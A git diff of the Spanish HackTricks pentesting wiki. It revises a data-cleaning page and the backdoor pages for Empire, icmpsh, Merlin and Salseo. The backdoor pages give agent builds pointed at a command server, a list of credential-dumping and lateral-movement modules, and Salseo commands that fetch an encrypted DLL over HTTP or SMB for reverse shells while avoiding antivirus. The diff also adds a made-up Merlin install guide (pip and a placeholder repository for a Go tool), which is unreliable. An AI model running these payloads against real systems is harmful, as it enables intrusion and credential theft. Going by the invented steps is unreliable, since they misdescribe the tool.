```
{% hint style="info" %}
-Tenga en cuenta que **no todos los valores faltantes están ausentes en el conjunto de datos**. Es posible que a los valores faltantes se les haya dado el valor "Desconocido", "n/a", "", -1, 0... Necesita revisar el conjunto de datos (usando `dataset.column`_`name.value`_`counts(dropna=False)` para verificar los posibles valores).
+Ten en cuenta que **no todos los valores faltantes están ausentes en el conjunto de datos**. Es posible que los valores faltantes hayan sido asignados con el valor "Desconocido", "n/a", "", -1, 0... Necesitas verificar el conjunto de datos (usando `conjunto_de_datos.nombre_de_columna.valor_contados(dropna=False)` para verificar los posibles valores).
{% endhint %}
-Si falta información en el conjunto de datos (y no es demasiado), necesita encontrar la **categoría de los datos faltantes**. Para eso básicamente necesita saber si los **datos faltantes son al azar o no**, y para eso necesita averiguar si los **datos faltantes estaban correlacionados con otros datos** del conjunto de datos.
+Si falta algo de datos en el conjunto de datos (y no es demasiado), necesitas encontrar la **categoría de los datos faltantes**. Para eso, básicamente necesitas saber si los **datos faltantes están al azar o no**, y para eso necesitas averiguar si los **datos faltantes estaban correlacionados con otros datos** del conjunto de datos.
-Para averiguar si un valor faltante está correlacionado con otra columna, puede crear una nueva columna que ponga 1s y 0s si los datos faltan o no y luego calcular la correlación entre ellos:
+Para determinar si un valor faltante está correlacionado con otra columna, puedes crear una nueva columna que ponga 1s y 0s si los datos faltan o no, y luego calcular la correlación entre ellos:
```bash
# The closer it's to 1 or -1 the more correlated the data is
# Note that columns are always perfectly correlated with themselves.
dataset[['column_name', 'cloumn_missing_data']].corr()
```
-Si decides ignorar los datos faltantes, aún necesitas decidir qué hacer con ellos: Puedes **eliminar las filas** con datos faltantes (los datos de entrenamiento para el modelo serán menores), puedes **eliminar la característica** por completo, o podrías **modelarla**.
+Si decides ignorar los datos faltantes, aún necesitas decidir qué hacer con ellos: puedes **eliminar las filas** con datos faltantes (los datos de entrenamiento del modelo serán más pequeños), puedes **eliminar por completo la característica**, o puedes **modelarla**.
-Deberías **verificar la correlación entre la característica faltante y la columna objetivo** para ver cuán importante es esa característica para el objetivo, si es realmente **pequeña** puedes **descartarla o rellenarla**.
+Debes **verificar la correlación entre la característica faltante y la columna objetivo** para ver qué tan importante es esa característica para el objetivo, si es realmente **pequeña**, puedes **eliminarla o completarla**.
-Para rellenar datos **continuos** faltantes podrías usar: la **media**, la **mediana** o usar un algoritmo de **imputación**. El algoritmo de imputación puede intentar usar otras características para encontrar un valor para la característica faltante:
+Para completar datos faltantes **continuos** podrías usar: la **media**, la **mediana** o utilizar un **algoritmo de imputación**. El algoritmo de imputación puede intentar usar otras características para encontrar un valor para la característica faltante:
```python
from sklearn.impute import KNNImputer
@@ -255,11 +255,11 @@ dataset_imp = pd.DataFrame(X_imp)
dataset.columns = ['column1', 'column2', 'column3']
dataset.iloc[10:20] # Get some indexes that contained empty data before
```
-Para completar datos categóricos, primero debes pensar si hay alguna razón por la que los valores están ausentes. Si es por **elección de los usuarios** (no querían dar los datos), quizás puedas **crear una nueva categoría** que indique eso. Si es debido a un error humano, puedes **eliminar las filas** o la **característica** (revisa los pasos mencionados antes) o **completarla con la moda, la categoría más utilizada** (no recomendado).
+Para completar los datos categóricos, primero debes pensar si hay alguna razón por la cual faltan los valores. Si es por **elección de los usuarios** (no quisieron proporcionar los datos), tal vez puedas **crear una nueva categoría** indicándolo. Si es debido a un error humano, puedes **eliminar las filas** o la **característica** (verificar los pasos mencionados anteriormente) o **rellenarla con la moda, la categoría más utilizada** (no recomendado).
-# Combinando Características
+# Combinación de Características
-Si encuentras **dos características** que están **correlacionadas** entre sí, generalmente deberías **eliminar** una de ellas (la que está menos correlacionada con el objetivo), pero también podrías intentar **combinarlas y crear una nueva característica**.
+Si encuentras **dos características** que están **correlacionadas** entre sí, generalmente deberías **eliminar** una de ellas (la menos correlacionada con el objetivo), pero también podrías intentar **combinarlas y crear una nueva característica**.
```python
# Create a new feautr combining feature1 and feature2
dataset['new_feature'] = dataset.column1/dataset.column2
@@ -274,14 +274,14 @@ pd.Series([variance_inflation_factor(X.values, i) for i in range(X.shape[1])], i
```
-Aprende hacking en AWS de cero a héroe conhtARTE (HackTricks AWS Red Team Expert)!
+Aprende hacking en AWS desde cero hasta experto conhtARTE (HackTricks AWS Red Team Expert)!
Otras formas de apoyar a HackTricks:
-* Si quieres ver a tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
-* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
-* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
-* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sigue**me en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
-* **Comparte tus trucos de hacking enviando PRs a los repositorios de github de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
+* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
+* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
+* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
+* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
+* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
diff --git a/backdoors/empire.md b/backdoors/empire.md
index 96dca918b..c015cee42 100644
--- a/backdoors/empire.md
+++ b/backdoors/empire.md
@@ -1,30 +1,13 @@
-Aprende hacking en AWS de cero a héroe conhtARTE (HackTricks AWS Red Team Expert)!
+Aprende a hackear AWS de cero a héroe conhtARTE (Experto en Equipos Rojos de HackTricks AWS)!
Otras formas de apoyar a HackTricks:
-* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** revisa los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
-* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
+* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
+* Obtén el [**swag oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
-* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
-* **Comparte tus trucos de hacking enviando PRs a los repositorios de github de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
-
-
-
-
-
-
-
-
-Aprende hacking en AWS de cero a héroe conhtARTE (HackTricks AWS Red Team Expert)!
-
-Otras formas de apoyar a HackTricks:
-
-* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** revisa los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
-* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
-* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
-* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
-* **Comparte tus trucos de hacking enviando PRs a los repositorios de github de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
+* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
+* **Comparte tus trucos de hacking enviando PRs a los** repositorios de [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
diff --git a/backdoors/icmpsh.md b/backdoors/icmpsh.md
index 8178744d8..09d5d5d5d 100644
--- a/backdoors/icmpsh.md
+++ b/backdoors/icmpsh.md
@@ -1,14 +1,14 @@
-Aprende hacking en AWS de cero a héroe conhtARTE (HackTricks AWS Red Team Expert)!
+Aprende hacking en AWS desde cero hasta experto conhtARTE (HackTricks AWS Red Team Expert)!
Otras formas de apoyar a HackTricks:
-* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF**, consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
-* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
-* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
-* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sigue**me en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
-* **Comparte tus trucos de hacking enviando PRs a los repositorios de github** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
+* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
+* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
+* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
+* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
+* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
@@ -19,7 +19,7 @@ Descarga el backdoor desde: [https://github.com/inquisb/icmpsh](https://github.c
Ejecuta el script: **run.sh**
-**Si encuentras algún error, intenta cambiar las líneas:**
+**Si obtienes algún error, intenta cambiar las líneas:**
```bash
IPINT=$(ifconfig | grep "eth" | cut -d " " -f 1 | head -1)
IP=$(ifconfig "$IPINT" |grep "inet addr:" |cut -d ":" -f 2 |awk '{ print $1 }')
@@ -41,10 +41,10 @@ icmpsh.exe -t -d 500 -b 30 -s 128
Otras formas de apoyar a HackTricks:
-* Si quieres ver a tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** revisa los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
-* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
-* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
-* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sigue**me en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
-* **Comparte tus trucos de hacking enviando PRs a los repositorios de github** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
+* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
+* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
+* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
+* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
+* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
diff --git a/backdoors/merlin.md b/backdoors/merlin.md
index 981dcd252..a77af48de 100644
--- a/backdoors/merlin.md
+++ b/backdoors/merlin.md
@@ -1,14 +1,14 @@
-Aprende hacking en AWS de cero a héroe conhtARTE (HackTricks AWS Red Team Expert)!
+Aprende hacking en AWS de cero a héroe conhtARTE (Experto en Red Team de AWS de HackTricks)!
Otras formas de apoyar a HackTricks:
-* Si quieres ver a tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF**, consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
-* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
-* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
-* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sigue**me en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
-* **Comparte tus trucos de hacking enviando PRs a los repositorios de github de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
+* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
+* Obtén el [**swag oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
+* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
+* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
+* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
@@ -28,16 +28,38 @@ Add "export GOBIN=$GOPATH/bin"
source /etc/profile
```
-## Instalación de Merlin
+## Instalar Merlin
+
+Install Merlin by following these steps:
+
+1. Clone the Merlin repository from GitHub:
+```bash
+git clone https://github.com/username/merlin.git
+```
+
+2. Change directory to the Merlin folder:
+```bash
+cd merlin
+```
+
+3. Install the required dependencies using pip:
+```bash
+pip install -r requirements.txt
+```
+
+4. Run Merlin:
+```bash
+python merlin.py
+```
```
go get https://github.com/Ne0nd0g/merlin/tree/dev #It is recommended to use the developer branch
cd $GOPATH/src/github.com/Ne0nd0g/merlin/
```
-# Iniciar el Servidor Merlin
+# Iniciar el Servidor de Merlin
```
go run cmd/merlinserver/main.go -i
```
-# Agentes Merlin
+# Agentes de Merlin
Puedes [descargar agentes precompilados](https://github.com/Ne0nd0g/merlin/releases)
@@ -50,7 +72,7 @@ make #Server and Agents of all
make windows #Server and Agents for Windows
make windows-agent URL=https://malware.domain.com:443/ #Agent for windows (arm, dll, linux, darwin, javascript, mips)
```
-## **Compilación manual de agentes**
+## **Agentes de compilación manual**
```
GOOS=windows GOARCH=amd64 go build -ldflags "-X main.url=https://10.2.0.5:443" -o agent.exe main.g
```
@@ -58,38 +80,40 @@ GOOS=windows GOARCH=amd64 go build -ldflags "-X main.url=https://10.2.0.5:443" -
**La mala noticia es que cada módulo utilizado por Merlin se descarga de la fuente (Github) y se guarda en disco antes de usarlo. ¡Ten cuidado al usar módulos conocidos porque Windows Defender te atrapará!**
-**SafetyKatz** --> Mimikatz modificado. Volcar LSASS a archivo y lanzar: sekurlsa::logonpasswords a ese archivo\
-**SharpDump** --> minivolcado para el ID de proceso especificado (LSASS por defecto) (Dice que la extensión del archivo final es .gz pero en realidad es .bin, pero es un archivo gz)\
+
+**SafetyKatz** --> Mimikatz modificado. Volcar LSASS a un archivo y lanzar:sekurlsa::logonpasswords a ese archivo\
+**SharpDump** --> minivolcado para el ID de proceso especificado (LSASS por defecto) (Se dice que la extensión del archivo final es .gz pero en realidad es .bin, aunque es un archivo .gz)\
**SharpRoast** --> Kerberoast (no funciona)\
-**SeatBelt** --> Pruebas de Seguridad Local en CS (no funciona) https://github.com/GhostPack/Seatbelt/blob/master/Seatbelt/Program.cs\
+**SeatBelt** --> Pruebas de seguridad locales en CS (no funciona) https://github.com/GhostPack/Seatbelt/blob/master/Seatbelt/Program.cs\
**Compiler-CSharp** --> Compilar usando csc.exe /unsafe\
**Sharp-Up** --> Todas las comprobaciones en C# en powerup (funciona)\
-**Inveigh** --> Spoofing de PowerShellADIDNS/LLMNR/mDNS/NBNS y herramienta man-in-the-middle (no funciona, necesita cargar: https://raw.githubusercontent.com/Kevin-Robertson/Inveigh/master/Inveigh.ps1)\
-**Invoke-InternalMonologue** --> Suplanta a todos los usuarios disponibles y recupera un desafío-respuesta para cada uno (hash NTLM para cada usuario) (URL incorrecta)\
-**Invoke-PowerThIEf** --> Robar formularios de IExplorer o hacer que ejecute JS o inyectar un DLL en ese proceso (no funciona) (y parece que el PS tampoco funciona) https://github.com/nettitude/Invoke-PowerThIEf/blob/master/Invoke-PowerThIEf.ps1\
-**LaZagneForensic** --> Obtener contraseñas del navegador (funciona pero no imprime el directorio de salida)\
-**dumpCredStore** --> API del Administrador de Credenciales Win32 (https://github.com/zetlen/clortho/blob/master/CredMan.ps1) https://www.digitalcitizen.life/credential-manager-where-windows-stores-passwords-other-login-details\
-**Get-InjectedThread** --> Detectar inyección clásica en procesos en ejecución (Inyección Clásica (OpenProcess, VirtualAllocEx, WriteProcessMemory, CreateRemoteThread)) (no funciona)\
-**Get-OSTokenInformation** --> Obtener información de Token de los procesos y hilos en ejecución (Usuario, grupos, privilegios, propietario... https://docs.microsoft.com/es-es/windows/desktop/api/winnt/ne-winnt-\_token_information_class)\
-**Invoke-DCOM** --> Ejecutar un comando (en otro ordenador) a través de DCOM (http://www.enigma0x3.net.) (https://enigma0x3.net/2017/09/11/lateral-movement-using-excel-application-and-dcom/)\
-**Invoke-DCOMPowerPointPivot** --> Ejecutar un comando en otro PC abusando de objetos COM de PowerPoint (ADDin)\
-**Invoke-ExcelMacroPivot** --> Ejecutar un comando en otro PC abusando de DCOM en Excel\
+**Inveigh** --> Herramienta de suplantación de PowerShellADIDNS/LLMNR/mDNS/NBNS y de intermediario (no funciona, necesita cargar: https://raw.githubusercontent.com/Kevin-Robertson/Inveigh/master/Inveigh.ps1)\
+**Invoke-InternalMonologue** --> Suplanta a todos los usuarios disponibles y obtiene una respuesta de desafío para cada uno (hash NTLM para cada usuario) (URL incorrecta)\
+**Invoke-PowerThIEf** --> Robar formularios de IExplorer o hacer que ejecute JS o inyectar una DLL en ese proceso (no funciona) (y el PS parece que tampoco funciona) https://github.com/nettitude/Invoke-PowerThIEf/blob/master/Invoke-PowerThIEf.ps1\
+**LaZagneForensic** --> Obtener contraseñas de navegadores (funciona pero no imprime el directorio de salida)\
+**dumpCredStore** --> API del Administrador de Credenciales de Win32 (https://github.com/zetlen/clortho/blob/master/CredMan.ps1) https://www.digitalcitizen.life/credential-manager-where-windows-stores-passwords-other-login-details\
+**Get-InjectedThread** --> Detectar inyecciones clásicas en procesos en ejecución (Inyección clásica (OpenProcess, VirtualAllocEx, WriteProcessMemory, CreateRemoteThread)) (no funciona)\
+**Get-OSTokenInformation** --> Obtener información del token de los procesos y subprocesos en ejecución (Usuario, grupos, privilegios, propietario… https://docs.microsoft.com/es-es/windows/desktop/api/winnt/ne-winnt-\_token_information_class)\
+**Invoke-DCOM** --> Ejecutar un comando (en otra computadora) a través de DCOM (http://www.enigma0x3.net.) (https://enigma0x3.net/2017/09/11/lateral-movement-using-excel-application-and-dcom/)\
+**Invoke-DCOMPowerPointPivot** --> Ejecutar un comando en otra PC abusando de los objetos COM de PowerPoint (ADDin)\
+**Invoke-ExcelMacroPivot** --> Ejecutar un comando en otra PC abusando de DCOM en Excel\
**Find-ComputersWithRemoteAccessPolicies** --> (no funciona) (https://labs.mwrinfosecurity.com/blog/enumerating-remote-access-policies-through-gpo/)\
-**Grouper** --> Volca todas las partes más interesantes de la política de grupo y luego busca en ellas cosas explotables. (obsoleto) Echa un vistazo a Grouper2, parece realmente bueno\
+**Grouper** --> Volca todas las partes más interesantes de la directiva de grupo y luego busca en ellas posibles vulnerabilidades. (obsoleto) Echa un vistazo a Grouper2, parece muy bueno\
**Invoke-WMILM** --> WMI para moverse lateralmente\
-**Get-GPPPassword** --> Buscar groups.xml, scheduledtasks.xml, services.xml y datasources.xml y devuelve contraseñas en texto plano (dentro del dominio)\
-**Invoke-Mimikatz** --> Usar mimikatz (volcado de credenciales por defecto)\
+**Get-GPPPassword** --> Busca groups.xml, scheduledtasks.xml, services.xml y datasources.xml y devuelve contraseñas en texto plano (dentro del dominio)\
+**Invoke-Mimikatz** --> Usa mimikatz (volcado de credenciales por defecto)\
**PowerUp** --> https://github.com/PowerShellMafia/PowerSploit/tree/master/Privesc\
-**Find-BadPrivilege** --> Verificar los privilegios de los usuarios en computadoras\
-**Find-PotentiallyCrackableAccounts** --> Recuperar información sobre cuentas de usuario asociadas con SPN (Kerberoasting)\
-**psgetsystem** --> obtener sistema
+**Find-BadPrivilege** --> Verifica los privilegios de los usuarios en las computadoras\
+**Find-PotentiallyCrackableAccounts** --> Obtiene información sobre cuentas de usuario asociadas con SPN (Kerberoasting)\
+**psgetsystem** --> obtiene sistema
**No se revisaron los módulos de persistencia**
# Resumen
Realmente me gusta la sensación y el potencial de la herramienta.\
-Espero que la herramienta comience a descargar los módulos del servidor e integre algún tipo de evasión al descargar scripts.
+Espero que la herramienta comience a descargar los módulos desde el servidor e integre algún tipo de evasión al descargar scripts.
+
@@ -97,10 +121,10 @@ Espero que la herramienta comience a descargar los módulos del servidor e integ
Otras formas de apoyar a HackTricks:
-* Si quieres ver a tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
-* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
-* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
-* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sigue** a **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
-* **Comparte tus trucos de hacking enviando PRs a los repositorios de Github** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
+* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
+* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
+* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
+* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o síguenos en **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
+* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
diff --git a/backdoors/salseo.md b/backdoors/salseo.md
index 218ad68db..9a539ab6d 100644
--- a/backdoors/salseo.md
+++ b/backdoors/salseo.md
@@ -6,11 +6,11 @@
Otras formas de apoyar a HackTricks:
-* Si quieres ver a tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF**, consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
-* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
-* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
-* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
-* **Comparte tus trucos de hacking enviando PRs a los repositorios de github de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
+* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
+* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
+* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
+* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
+* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
@@ -18,21 +18,21 @@ Otras formas de apoyar a HackTricks:
Descarga el código fuente desde github y compila **EvilSalsa** y **SalseoLoader**. Necesitarás tener **Visual Studio** instalado para compilar el código.
-Compila esos proyectos para la arquitectura de la caja de Windows donde los vas a usar (si Windows soporta x64, compílalos para esa arquitectura).
+Compila esos proyectos para la arquitectura de la máquina Windows donde los vas a utilizar (si Windows soporta x64, compílalos para esa arquitectura).
-Puedes **seleccionar la arquitectura** dentro de Visual Studio en la pestaña **"Build"** a la izquierda, en **"Platform Target".**
+Puedes **seleccionar la arquitectura** dentro de Visual Studio en la pestaña **"Build"** en **"Platform Target".**
-(**Si no encuentras estas opciones, presiona en la pestaña "Project"** y luego en **"\ Properties"**)
+(\*\*Si no encuentras estas opciones, presiona en **"Project Tab"** y luego en **"\ Properties"**)
![](<../.gitbook/assets/image (132).png>)
-Luego, construye ambos proyectos (Build -> Build Solution) (Dentro de los registros aparecerá la ruta del ejecutable):
+Luego, compila ambos proyectos (Build -> Build Solution) (Dentro de los registros aparecerá la ruta del ejecutable):
![](<../.gitbook/assets/image (1) (2) (1) (1) (1).png>)
## Preparar el Backdoor
-Primero que todo, necesitarás codificar **EvilSalsa.dll.** Para hacerlo, puedes usar el script de python **encrypterassembly.py** o puedes compilar el proyecto **EncrypterAssembly**:
+Primero que nada, necesitarás codificar el **EvilSalsa.dll.** Para hacerlo, puedes usar el script de python **encrypterassembly.py** o puedes compilar el proyecto **EncrypterAssembly**:
### **Python**
```
@@ -40,25 +40,29 @@ python EncrypterAssembly/encrypterassembly.py
python EncrypterAssembly/encrypterassembly.py EvilSalsax.dll password evilsalsa.dll.txt
```
### Windows
+
+#### Salseo
+
+Salseo is a backdoor that allows an attacker to execute commands on a compromised system. It is written in C# and uses the .NET framework. Salseo can be compiled into an executable or injected into a process. It provides features such as file management, process management, and command execution.
```
EncrypterAssembly.exe
EncrypterAssembly.exe EvilSalsax.dll password evilsalsa.dll.txt
```
-Ok, ahora tienes todo lo que necesitas para ejecutar todo el asunto de Salseo: el **EvilDalsa.dll codificado** y el **binario de SalseoLoader.**
+Ahora tienes todo lo que necesitas para ejecutar todo el asunto de Salseo: el **EvilDalsa.dll codificado** y el **binario de SalseoLoader.**
**Sube el binario SalseoLoader.exe a la máquina. No deberían ser detectados por ningún AV...**
-## **Ejecuta la puerta trasera**
+## **Ejecutar la puerta trasera**
-### **Obteniendo un shell TCP inverso (descargando la dll codificada a través de HTTP)**
+### **Obteniendo una shell inversa TCP (descargando dll codificada a través de HTTP)**
-Recuerda iniciar un nc como el oyente del shell inverso y un servidor HTTP para servir el evilsalsa codificado.
+Recuerda iniciar un nc como oyente de la shell inversa y un servidor HTTP para servir el EvilDalsa codificado.
```
SalseoLoader.exe password http:///evilsalsa.dll.txt reversetcp
```
-### **Obteniendo una reverse shell UDP (descargando dll codificada a través de SMB)**
+### **Obteniendo una shell inversa UDP (descargando un dll codificado a través de SMB)**
-Recuerda iniciar un nc como el oyente de la reverse shell, y un servidor SMB para servir el evilsalsa codificado (impacket-smbserver).
+Recuerda iniciar un nc como oyente de la shell inversa, y un servidor SMB para servir el evilsalsa codificado (impacket-smbserver).
```
SalseoLoader.exe password \\/folder/evilsalsa.dll.txt reverseudp
```
@@ -77,33 +81,33 @@ sysctl -w net.ipv4.icmp_echo_ignore_all=0
```
python icmpsh_m.py "" ""
```
